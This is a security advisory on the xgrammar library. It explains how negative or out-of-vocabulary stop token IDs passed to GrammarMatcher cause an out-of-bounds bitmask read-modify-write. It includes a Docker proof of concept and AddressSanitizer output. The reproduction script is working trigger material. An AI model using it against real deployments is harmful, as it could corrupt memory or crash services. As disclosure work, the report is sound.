Out-of-Bounds Bitmask Write Through Invalid Stop Token IDs

Affected repository: mlc-ai/xgrammar
Observed HEAD: f07ca3cb03affaca98809c4e9dad41deed2f7730

Summary

GrammarMatcher accepts negative and out-of-vocabulary IDs in override_stop_tokens. The matcher later uses those IDs as indices into a vocabulary-sized DynamicBitset; -32 selects the 32-bit word immediately before a one-word output mask and produces an AddressSanitizer heap-buffer-overflow. The demonstrated impact is an out-of-bounds read-modify-write and process abort under AddressSanitizer; whether an application exposes control of this configuration to an untrusted party depends on its integration.

Detail

The caller-controlled value enters through Python's GrammarMatcher(..., override_stop_tokens=...) API. The Python wrapper converts a scalar integer to a one-element list but does not validate any element. GrammarMatcher::Impl in cpp/grammar_matcher.cc then selects the override instead of the tokenizer's detected stop IDs and only checks that an explicitly supplied vector is nonempty. Consequently, [-32] becomes persistent stop_token_ids_ state even though the compiled tokenizer's vocabulary contains only token ID 0.

This is a missing cross-field invariant: every effective stop-token ID must satisfy 0 <= id < tokenizer_info_.GetVocabSize(). The normal range check in AcceptToken does not establish that invariant because it validates a token supplied to that method, not the stop-token vector saved during matcher construction. Likewise, CheckAndGetBitmaskPtr validates the output tensor's shape against the tokenizer vocabulary, but it has no knowledge of the invalid ID that will later index that tensor.

After accept_string("a") completes the grammar, fill_next_token_bitmask obtains a correctly sized one-word mask and wraps it in a non-owning DynamicBitset whose logical size is one. SetTokenBitmask sees that the parser can reach the end and adds every saved stop token to that mask:

if (can_reach_end) {
  for (int id : stop_token_ids_) {
    next_token_bitset.Set(id, true);
  }
}

DynamicBitset::Set in cpp/support/dynamic_bitset.h computes the storage word as data_[index / 32] and performs |= or &=, so this is a read followed by a write. C++ integer division truncates toward zero; for index == -32, index / 32 is -1 and index % 32 is 0. The operation therefore reads and then attempts to update the word four bytes before the single allocated word, which matches the AddressSanitizer address and stack trace below.

The bounds condition inside DynamicBitset::Set is only an XGRAMMAR_DCHECK. Internal checks are disabled by default unless XGRAMMAR_ENABLE_INTERNAL_CHECK is enabled, independently of choosing a Debug CMake build, so that check is not a production trust boundary. Other invalid negative values can additionally make the shift count negative, while an ID equal to or greater than the vocabulary size selects a word or bit beyond the logical mask. The completion branch shown above is the PoC's sink; a second SetTokenBitmask branch can also clear each stop-token bit while the grammar cannot reach its end, so validating only the demonstrated completion case would leave the same root cause reachable elsewhere.

Repository history shows that the unchecked custom stop-token vector and the two mask writes were already present in the matcher implementation added by commit 1085004 before v0.1.0. Later renames, including the change from stop_token_ids to override_stop_tokens, retained the behavior rather than introducing a new validation boundary.

Reproduce

Fresh validation at current default-branch commit f07ca3cb03affaca98809c4e9dad41deed2f7730 reached the reported sink under AddressSanitizer.

Run the following command in a disposable local Docker environment. It checks out the exact assessed revision, builds it with AddressSanitizer, and terminates the final Python process with the heap-buffer-overflow shown below. The container is removed automatically; the PoC does not contact a running service or persist data outside the container.

docker run --rm -i python:3.12-slim-bookworm bash <<'DOCKER'
set -eux
export DEBIAN_FRONTEND=noninteractive CMAKE_BUILD_PARALLEL_LEVEL=2
apt-get update -qq
apt-get install -y -qq --no-install-recommends ca-certificates git cmake ninja-build g++
python -m pip install -q --index-url https://download.pytorch.org/whl/cpu torch
python -m pip install -q scikit-build-core apache-tvm-ffi pydantic transformers numpy typing-extensions
git clone --depth 1 --quiet https://github.com/mlc-ai/xgrammar.git xgrammar
cd xgrammar
git rev-parse HEAD
git submodule update --init --depth 1 3rdparty/dlpack
ASAN_OPTIONS=verify_asan_link_order=0:detect_leaks=0 \
CXXFLAGS='-D_GLIBCXX_NO_ASSERTIONS -fno-lto -fsanitize=address -fno-omit-frame-pointer -g' \
LDFLAGS='-fno-lto -fsanitize=address' \
  python -m pip install -q --config-settings=cmake.build-type=Debug --no-build-isolation --no-deps .
cat > repro.py <<'PY'
import xgrammar as xgr

tokenizer = xgr.TokenizerInfo(["a"])
compiled = xgr.GrammarCompiler(
    tokenizer, max_threads=1, cache_enabled=False
).compile_grammar('root ::= "a"')
matcher = xgr.GrammarMatcher(compiled, override_stop_tokens=[-32])
matcher.accept_string("a")
matcher.fill_next_token_bitmask(xgr.allocate_token_bitmask(1, tokenizer.vocab_size))
PY
asan_runtime="$(g++ -print-file-name=libasan.so)"
stdcxx_runtime="$(g++ -print-file-name=libstdc++.so)"
ASAN_OPTIONS=abort_on_error=1:detect_leaks=0:symbolize=1:handle_segv=2:use_sigaltstack=0:disable_coredump=1 \
LD_PRELOAD="${asan_runtime}:${stdcxx_runtime}" \
python repro.py
DOCKER

ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 4
    #0 in xgrammar::DynamicBitset::Set(int, bool) cpp/support/dynamic_bitset.h:142
    #1 in xgrammar::GrammarMatcher::Impl::SetTokenBitmask(...) cpp/grammar_matcher.cc:2447
    #2 in xgrammar::GrammarMatcher::Impl::FillBitmaskForStates(...) cpp/grammar_matcher.cc:2027
    #3 in xgrammar::GrammarMatcher::Impl::FillNextTokenBitmask(...) cpp/grammar_matcher.cc:1700
The address is four bytes to the left of a four-byte allocation.
SUMMARY: AddressSanitizer: heap-buffer-overflow in xgrammar::DynamicBitset::Set(int, bool)
ABORTING

Credit

Zheng Yu @ Depthfirst